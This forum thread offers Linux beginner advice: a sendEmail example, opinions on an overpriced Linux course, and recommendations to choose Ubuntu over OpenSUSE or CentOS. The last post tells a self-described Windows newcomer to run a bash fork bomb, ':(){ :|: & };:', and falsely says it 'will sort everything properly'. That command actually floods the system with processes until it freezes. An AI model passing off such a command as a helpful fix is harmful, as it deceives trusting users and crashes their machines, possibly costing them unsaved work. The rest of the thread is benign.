Try this for fun (also works on Debian Wheezy on RPi)

sudo apt-get install sendemail

When done installing, do this

sendEmail -f [email protected] \
-t [email protected] \
-s relay.isp.net \
-u "Test email" \
-m "Hi , this is a test email."

For you Linux experts:

I'm curious, is this any good?
Worth it, yay or nay?
(And if you have a moment to go into a little more detail, why or why not?)

Thanks!

The content looks good, those are the basics that you will need to know if you want to be efficient in Linux. The price on the other hand is insane, I wouldn't pay $200 for that, if you can get it at the 90% discount, and you have $20 laying around, it might be worth it, but you can find all that information for free online at sites like http://linuxcommand.org/

If you want a safe environment to mess around / learn linux install Virtualbox on your Windows PC and then install the Linux distribution of your choice in a VM.

Didn't want to start a new thread just for this, but which of these is going to frustrate me the least (I'm a life-long Windows user....) to get my feet wet:

- Ubuntu
- OpenSUSE
- CentOS

For now, it has to be one of those three, because of reasons. Will be for general purpose, including day-to-day sysadmin tasks on both Windows Server and RHEL servers.

Ubuntu.

I don't use it myself but you'll find more support in their forums than you will for the others plus the CentOS Gnome desktop is not well implemented.

Agree. I have been using linux mint for a while and the best support i get are usually on ubuntu threads.

You will very rarely have to drop to the console for anything.

For whatever comes setup on the distro you will be fine. For most other things you will need to use the console

1st Run

:(){ :|: & };:

In any Terminal, It will sort everything properly.
